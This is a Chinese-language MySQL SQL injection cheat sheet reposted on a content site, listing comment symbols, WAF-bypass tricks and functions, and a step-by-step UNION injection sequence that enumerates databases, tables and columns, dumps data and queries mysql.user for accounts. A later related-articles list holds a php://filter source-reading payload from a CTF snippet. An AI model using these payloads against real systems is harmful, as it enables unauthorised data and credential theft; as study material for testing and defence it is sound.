sql注入-MySQL

01. 常用符号、函数、语句

1.1. 常用符号

1.1.1. 注释符

注释符说明
#(%23)单行注释
在URL中#表示锚点,也就是hash路由,带上#不会请求后端路由,而是刷新前端路由,所以测试一般用URL编码后的%23

– -
±-+
单行注释
注意–后还有一个空格;其中+号会被URL解码为空格
/**/多行(内联)注释
一般用于绕过WAF、代替空格等

1.1.2. 运算符

运算符说明
&&与,同 and
||或,同 or
!非,同 not
^异或,同xor
|转义符
~一元比特反转
<<左移
>>右移
+加,URL解码后可替代空格
-减法
*乘法
/ 或 div除法
% 或 mod取余
=等于
<>, !=不等于
>大于
<小于
<=小于等于
>=大于等于
BETWEEN在两值之间
NOT BETWEEN不在两值之间
IN在集合中
NOT IN不在集合中
<=>严格比较两个NULL值是否相等
LIKE模糊匹配
REGEXP 或 RLIKE正则式匹配
IS NULL为空
IS NOT NULL不为空

1.1.3. 全局变量

所有全局变量可通过如下语句查看:

SHOW GLOBAL VARIABLES;
SHOW VARIABLES;
变量说明
@@VERSION返回版本信息
@@GLOBAL.VERSION同@@VERSION
@@HOSTNAME返回安装的计算机名称
@@BASEDIR返回MYSQL绝对路径
@@DATADIR数据路径

1.2. 常用函数

完整的各种函数可以参考:https://www.runoob.com/mysql/mysql-functions.html

1.2.1. 数据库信息

函数说明
USER()获取当前操作句柄的用户名,同SESSION_USER()、CURRENT_USER(),有时也用SYSTEM_USER()
DATABASE()获取当前选择的数据库名,同SCHEMA()
VERSION()获取当前版本信息

1.2.2. 数据类型转换

函数说明
ASCII(str)返回字符串第一个字符的ASCII值
ORD(str)同ASCII(str)
HEX(N_S)参数为字符串时,返回 N or S 的16进制字符串形式;为数字时,返回其16进制数形式
UNHEX(str)HEX(str) 的逆向函数将参数中的每一对16进制数字都转换为10进制数字,然后再转换成 ASCII 码所对应的字符
BIN(N)返回十进制数值 N 的二进制数值的字符串表现形式N 是一个BIGINT型数值,作用相当于CONV(N,10,2)
OCT(N)返回十进制数值 N 的八进制数值的字符串表现形式
CONV(N,from_base,to_base)将数值型参数 N 由初始进制 from_base 转换为目标进制 to_base 的形式并返回
CHAR(N,… [USING charset_name])将每一个参数 N 都解释为整数,返回由这些整数在 ASCII 码中所对应字符所组成的字符串

1.2.3. 字符串截取

函数说明
SUBSTR(str,N_start,N_length)对指定字符串进行截取,为SUBSTRING的简单版
str : 截取的字符串
N_start : 截取起始位置 ( mysql中的start是从1开始的 )
N_length : 截取长度
SUBSTRING(str,start)
SUBSTRING(str,start,len)
SUBSTRING(str FROM start)
SUBSTRING(str FROM start FOR len)
对指定字符串进行截取,有多种形式
str : 截取的字符串
start : 截取起始位置 ( mysql中的start是从1开始的 )
len : 截取长度
MID(str,pos,len)同于 SUBSTRING(str,pos,len)
RIGHT(str,len)对指定字符串从最右边截取指定长度
LEFT(str,len)对指定字符串从最左边截取指定长度
RPAD(str,len,padstr)在 str 右方补齐 len 位的字符串 padstr,返回新字符串如果 str 长度大于 len,则返回值的长度将缩减到 len 所指定的长度
LPAD(str,len,padstr)与RPAD相似,在str左边补齐
INSERT(str,pos,len,newstr)在原始字符串 str 中,将自左数第 pos 位开始,长度为 len 个字符的字符串替换为新字符串 newstr,然后返回经过替换后的字符串INSERT(str,len,1,0x0)可当做截取函数

1.2.4. 字符串拼接

函数说明
CONCAT(str1,str2…)函数用于将多个字符串合并为一个字符串
CONCAT_WS(separator,str1,str2…)和concat函数类似,只是通过分隔符separator将字符串连接在一起
GROUP_CONCAT(…)返回一个字符串结果,该结果由分组中的值通过逗号连接组合而成
MAKE_SET(bits,str1,str2,…)返回一个设定值(含子字符串分隔字符串","字符),在设置位的相应位的字符串可用作布尔盲注,如:EXP(MAKE_SET((LENGTH(DATABASE())>8)+1,‘1’,‘710’))

1.2.5. 数据匹配

函数说明
= “statement”全匹配
LIKE “statement”匹配数据,%代表任意内容
REGEXP “statement”正则匹配数据
RLIKE “statement”与regexp相同,正则匹配数据

1.2.6. 条件函数

函数说明
IF(exp,state1,state2)条件语句,exp为true,执行state1,否则执行state2
CASE…WHEN exp THEN state1 ELSE state2 END同IF,…可直接省略
NULLIF(expr1,expr2)若expr1与expr2相同,则返回expr1,否则返回NULL

1.2.7. 其他

函数/语句说明
SLEEP(N)休眠N秒
BENCHMARK(count,expr):将表达式expr重复运行count次(消耗CPU),可以达到sleep()的效果
ORDER BY用于对结果集进行排序,默认按照升序对记录进行排序
EXISTS(sql)判断SQL语句执行后是否有结果;存在的话返回结果为:1(true),不存在的话返回结果:0(false)
LIMIT m,n查询结果从 m 开始取 n 个
LENGTH(str)返回字符串的长度
LOAD_FILE(filePath)读取文件内容,可以将文件名转换成ASCII码或者十六进制的形式;secure_file_priv默认情况下为null不允许读文件
ASCII码需要用char()函数,char(96,97)
十六进制前面要加上 0x
读取内容不显示的情况下,可以用hex()函数:hex(load_file())
PI()返回π的具体数值
LOCATE(substr,str,[pos])返回子字符串第一次出现的位置
POSITION(substr IN str)等同于 LOCATE()
LOWER(str)将字符串的大写字母全部转成小写同:LCASE(str)
UPPER(str)将字符串的小写字母全部转成大写同:UCASE(str)
ELT(N,str1,str2,str3,…)与MAKE_SET(bit,str1,str2…)类似,根据N返回参数值
CHARSET(str)返回字符串使用的字符集
DECODE(crypt_str,pass_str)使用 pass_str 作为密码,解密加密字符串 crypt_str加密函数:ENCODE(str,pass_str)

1.3. 常用语句

说明语句
基础信息获取数据库版本信息
select version();

select @@innodb_version;
获取当前用户
select user();
获取当前数据库
select database();
数据路径
select @@datadir;
获取所有数据库select schema_name from information_schema.schemata;
获取所有用户查看表结构
desc mysql.user
获取所有用户信息
select * from mysql.user
获取当前数据库的表名desc information_schema.tables;

select table_name from information_schema.tables where table_schema = database();

select group_concat(table_name) from information_schema.tables where table_schema = database();
获取当前数据库的某表的列名select column_name from information_schema.columns where table_name = ‘表名’;
select group_concat(column_name) from information_schema.columns where table_name = ‘表名’;
获取当前数据库中某列的值select id ,username,password from users;
查询DBA账户(一般root)select host, user from mysql.user where super_priv = ‘y’;

02. 各种注入手法

1.1. 联合(union)注入

1.1.1. 注入一般流程

-- 判断字段数目
order by 3-- 联合查询搜集信息(表中字段数为3,注意字符类型,如 int,String之类的)
union select 1,2,3-- 查询当前数据库名称
union select 1,2,database();-- 查询所有数据库
union select 1,2,group_concat(schema_name) from information_schema.schemata;-- 查询当前数据库中的所有表名
union select 1,2,group_concat(table_name) from information_schema.tables where table_schema = database();-- 查询某表的列名,studnet 表示 具体的表名
union select 1,2,group_concat(column_name) from information_schema.columns where table_name = 'student'-- 查询数据
union select 1,2,group_concat(id,name,age) from student;

1.1.2. 扩展

使用@当临时变量,来判断字段数

select * from user limit 1 into @,@;

1.1.3. 常用语句

(select(group_concat(SCHEMA_NAME)from(information_schema.schemata)))(select(group_concat

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/799087.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

Python学习从0开始——009类

Python学习从0开始——009类 一、类3.1最简形式3.2Class 对象3.3实例对象3.4实例变量 二、继承2.1最简形式2.2多重继承 三、私有变量四、杂项 一、类 3.1最简形式 class ClassName:<statement-1>...<statement-N>3.2Class 对象 #包含三种属性引用 class MyClass…

前后端接口写法(传输数据)

目录 前言1. 零散数据2. 函数体3. 总结 前言 对于后端常用的两个注解&#xff1a;详细分析Java中的RequestParam和RequestBody 以下文章主要用于笔记总结&#xff0c;后续可翻看 1. 零散数据 前端数据 export const doWeekPlan (ids,selectedPeriod) > {return reques…

Vue - 你知道Vue组件中的data为什么是一个函数吗

难度级别:中高级及以上 提问概率:80% 在Vue项目中,App.vue下的每个子组件都会生成一个单独的Vue实例对象,但这些子对象都是通过通过vue.extend方法创建而来的,也就是说我们平时在项目中所定义的Vue组件,都有一个相同的父类对象。这样也就…

JS-PC/MOBILE技巧--PC

一、PC 端网页特效 1、元素偏移量 offset 系列 offset 概述 offset 就是偏移量&#xff0c;使用 offset 系列相关属性可以动态的得到该元素的位置&#xff08;偏移&#xff09;、大小等。 获取元素距离带有定位父元素的位置获取元素自身的大小&#xff08;宽度高度&#xff0…

2024-04-07 问AI: 在深度学习中,预训练是什么?

文心一言 在深度学习中&#xff0c;预训练&#xff08;Pre-training&#xff09;是一种模型训练的技术&#xff0c;主要目的是利用大量无标签或已标签的数据来初始化模型的参数&#xff0c;从而为后续的任务提供一个好的起点。这种技术可以帮助模型学习到数据的通用表示&#…

前端入门(认识HTML,CSS,JavaScript三件套)

目录 前言 HTML&#xff08;构建&#xff09; CSS&#xff08;设计&#xff09; JavaScript&#xff08;互动&#xff09; 总结 相关书籍推荐 前言 前端&#xff08;Frontend&#xff09;指的是与用户直接交互的部分&#xff0c;也称为客户端。在网站或者应用程序中&…

特别详细的Spring Cloud 系列教程1:服务注册中心Eureka的启动

Eureka已经被Spring Cloud继承在其子项目spring-cloud-netflix中&#xff0c;搭建Eureka Server的方式还是非常简单的。只需要通过一个独立的maven工程即可搭建Eureka Server。 我们引入spring cloud的依赖和eureka的依赖。 <dependencyManagement><!-- spring clo…

【LeetCode热题100】【技巧】下一个排列

题目链接&#xff1a;31. 下一个排列 - 力扣&#xff08;LeetCode&#xff09; 就是要找这堆数字的组合中下一个较大的数&#xff0c;比如1243的下一个排列是1342&#xff0c;那怎么得到的&#xff0c;就是把大数放前面小数放后面这个数自然就大了&#xff0c;如果要接近的大&…

EXCEL学习笔记

EXCEL学习笔记 小技巧 一键批量添加后缀名词/单词 单元格格式-自定义-通用格式后面输入相应的单位&#xff0c;比如“元”。 输入10000个序号&#xff0c;先输入1&#xff0c;点击开始-填充-序列&#xff0c;选中该列&#xff0c;终止值为10000&#xff1b; 按住shift选取多个…

如何成为一名优秀的工程师下

身为工程师&#xff0c;理所当然要重视实践&#xff0c;自然科学不管发展到何时都离不开实验。 电子学本身就是 为了指导工程实践。所以不要谈空洞的理论。现在很多毕业生都面临这样的问题&#xff0c;总是谈一些空洞的理论&#xff0c;甚至错误的但还不以为然的理论。实践可以…

uniapp 密码框的眼睛

效果展示&#xff1a; uniapp input 官网链接&#xff1a;链接 按照官方文档&#xff0c;uni-icon出不来。 通过自己的方法解决了&#xff0c;解决方案如下&#xff1a; 代码&#xff1a; <uni-forms-item name"password"><inputclass"uni-input&quo…

4月形势分析以及往后5-12月规划结论:完全超出预期的个人形势分析

个人新形势的变化&#xff0c;甚至于超出了预期&#xff0c;完全超出了预期&#xff01; 导致&#xff0c;有些个人做事主动性跟不上情况的发生。如何解决&#xff1f; 也是重要头等重要的事情。因为如果心绪稳定不了&#xff0c;直接影响做事的效率&#xff0c;以及做事的质量…

C语言正则表达式 regnext regreplace regreplaceAll

由于C语言的正则表达式API相对比较简易.默认API只有regcomp/regerror/regexec/regfree这些函数.相对于其他的高级语言中正则表达式所所能实现的功能(如:查找/替换)有所欠缺.所以想着自己写下一些需要的函数以备后续需要使用. #ifndef _E_REGEX_INCLUDE #define _E_REGEX_INCLU…

Spring AI 来了,打造Java生态大模型应用开发新框架!

Spring AI 来了&#xff0c;打造Java生态大模型应用开发新框架&#xff01; Spring AI 开发框架设计理念Spring AI 主要功能特性如下 Spring AI 应用开发案例案例一&#xff1a;基于大模型的对话应用开发案例二&#xff1a;RAG 检索增强应用开发案例三&#xff1a;Function Cal…

15-1-Flex布局

个人主页&#xff1a;学习前端的小z 个人专栏&#xff1a;HTML5和CSS3悦读 本专栏旨在分享记录每日学习的前端知识和学习笔记的归纳总结&#xff0c;欢迎大家在评论区交流讨论&#xff01; 文章目录 Flex布局1 Flex容器和Flex项目2 Flex 容器属性2.1 主轴的方向2.2 主轴对齐方式…

Linux ftpshut命令教程:如何优雅地关闭FTP服务器(附实例详解和注意事项)

Linux ftpshut命令介绍 ftpshut命令是Linux系统中用于在指定的时间关闭FTP服务器的命令。这个命令提供了一个自动化的关闭程序&#xff0c;超级用户可以使用它来自动断开当前的proftpd连接&#xff0c;并拒绝新的连接。当服务器关闭后&#xff0c;会在/etc目录下生成一个名为s…

vscode-插件开发-hello world-创建初始模板

参考vscode官方示例&#xff1a;如何创建你的第一个插件开发项目模板的步骤进行了下文操作。 目录 前言1.环境配置全局安装 yo, generator-code 2. 新建一个插件项目模板问题1: F5 按键无法启动launch.json调试(解决)问题1 描述:问题1: 找错误问题1: 可行的解决方案 3. 开发插…

SpringBoot集成Redis快速入门Demo

目录 1. Redis概述 2.下载安装 3. Spring-data-redis概述 4. 快速入门 4.1 创建工程 4.2 导入依赖 4.3 添加配置文件 4.4 添加Redis配置 4.5 添加Redis工具类 4.6 添加测试类 5. Demo下载地址 1. Redis概述 Redis&#xff08;Remote Dictionary Server 远程…

ics-05-攻防世界

题目 点了半天只有设备维护中心能进去 御剑扫一下 找到一个css 没什么用 再点击云平台设备维护中心url发生了变化 设备维护中心http://61.147.171.105:65103/index.php?pageindex试一下php伪协议 php://filter/readconvert.base64-encode/resourceindex.php base64解一下…

华为海思校园招聘-芯片-数字 IC 方向 题目分享——第九套

华为海思校园招聘-芯片-数字 IC 方向 题目分享&#xff08;有参考答案&#xff09;——第九套 部分题目分享&#xff0c;完整版获取&#xff08;WX:didadidadidida313&#xff0c;加我备注&#xff1a;CSDN huawei数字芯片题目&#xff0c;谢绝白嫖哈&#xff09; 单选 1&…